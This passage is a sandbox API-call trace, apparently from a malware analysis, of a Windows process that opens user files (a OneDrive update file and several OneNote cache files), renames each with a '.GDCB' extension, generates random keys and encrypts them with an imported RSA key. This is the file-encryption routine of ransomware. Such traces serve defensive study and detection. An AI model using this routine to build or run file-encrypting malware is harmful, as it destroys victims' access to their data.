Data\\Microsoft\\OneDrive\\StandaloneUpdater\\Update.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\standaloneupdater\\update.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0183.196] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.197] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.198] ReadFile (in: hFile=0x514, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d3e8*=0x183, lpOverlapped=0x0) returned 1 [0183.208] VirtualAlloc (lpAddress=0x0, dwSize=0x190, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.256] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\StandaloneUpdater\\Update.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\standaloneupdater\\update.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\StandaloneUpdater\\Update.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\standaloneupdater\\update.xml.gdcb")) returned 1 [0183.273] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0183.274] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.275] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.275] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.275] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.277] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.278] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.278] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.278] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.278] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.280] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81418) returned 1 [0183.280] CryptGetKeyParam (in: hKey=0x4f81418, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.280] CryptEncrypt (in: hKey=0x4f81418, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.280] GetLastError () returned 0x0 [0183.280] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.280] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.283] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f812d8) returned 1 [0183.283] CryptGetKeyParam (in: hKey=0x4f812d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.283] CryptEncrypt (in: hKey=0x4f812d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.283] GetLastError () returned 0x0 [0183.283] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.283] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000000.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000000.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.285] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.286] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.287] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x3000, lpOverlapped=0x0) returned 1 [0183.330] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.335] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000000.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000000.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000000.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000000.bin.gdcb")) returned 1 [0183.340] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.343] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.344] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.344] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.344] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.344] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0183.345] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.346] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.346] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.346] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0183.349] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80fd8) returned 1 [0183.349] CryptGetKeyParam (in: hKey=0x4f80fd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.349] CryptEncrypt (in: hKey=0x4f80fd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.349] GetLastError () returned 0x0 [0183.349] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.349] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.351] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81458) returned 1 [0183.351] CryptGetKeyParam (in: hKey=0x4f81458, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.351] CryptEncrypt (in: hKey=0x4f81458, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.352] GetLastError () returned 0x0 [0183.352] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.352] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000001.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000001.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.354] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.355] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.360] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x5000, lpOverlapped=0x0) returned 1 [0183.389] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.394] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000001.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000001.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000001.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000001.bin.gdcb")) returned 1 [0183.399] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0183.400] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.401] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.402] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.402] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.402] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.405] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.405] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.405] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.405] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.407] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81118) returned 1 [0183.407] CryptGetKeyParam (in: hKey=0x4f81118, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.407] CryptEncrypt (in: hKey=0x4f81118, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.408] GetLastError () returned 0x0 [0183.408] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.408] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.410] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81218) returned 1 [0183.410] CryptGetKeyParam (in: hKey=0x4f81218, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.410] CryptEncrypt (in: hKey=0x4f81218, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.410] GetLastError () returned 0x0 [0183.410] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.410] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000004.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000004.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.412] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.413] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.414] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x387a, lpOverlapped=0x0) returned 1 [0183.438] VirtualAlloc (lpAddress=0x0, dwSize=0x3880, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.443] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000004.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000004.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000004.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000004.bin.gdcb")) returned 1 [0183.448] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.449] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.450] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.451] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.451] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.451] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0183.452] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.453] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.453] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.453] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.453] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0183.455] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81598) returned 1 [0183.455] CryptGetKeyParam (in: hKey=0x4f81598, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.455] CryptEncrypt (in: hKey=0x4f81598, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.456] GetLastError () returned 0x0 [0183.456] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.456] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.458] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f818d8) returned 1 [0183.458] CryptGetKeyParam (in: hKey=0x4f818d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.458] CryptEncrypt (in: hKey=0x4f818d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.458] GetLastError () returned 0x0 [0183.458] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.458] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000005.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000005.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.460] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.461] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.462] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x4b23, lpOverlapped=0x0) returned 1 [0183.472] VirtualAlloc (lpAddress=0x0, dwSize=0x4b30, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.477] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000005.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000005.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000005.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000005.bin.gdcb")) returned 1 [0183.482] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.483] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.484] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.485] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.485] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.485] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.486] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.487] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.487] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.487] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.487] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.490] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81b58) returned 1 [0183.490] CryptGetKeyParam (in: hKey=0x4f81b58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.490] CryptEncrypt (in: hKey=0x4f81b58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.490] GetLastError () returned 0x0 [0183.490] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.490] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.492] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81858) returned 1 [0183.492] CryptGetKeyParam (in: hKey=0x4f81858, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.492] CryptEncrypt (in: hKey=0x4f81858, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.492] GetLastError () returned 0x0 [0183.492] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.492] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000006.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000006.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.494] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.495] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.497] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x644, lpOverlapped=0x0) returned 1 [0183.520] VirtualAlloc (lpAddress=0x0, dwSize=0x650, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.524] MoveFileW (lpExistingFileName="C:\\Documents and 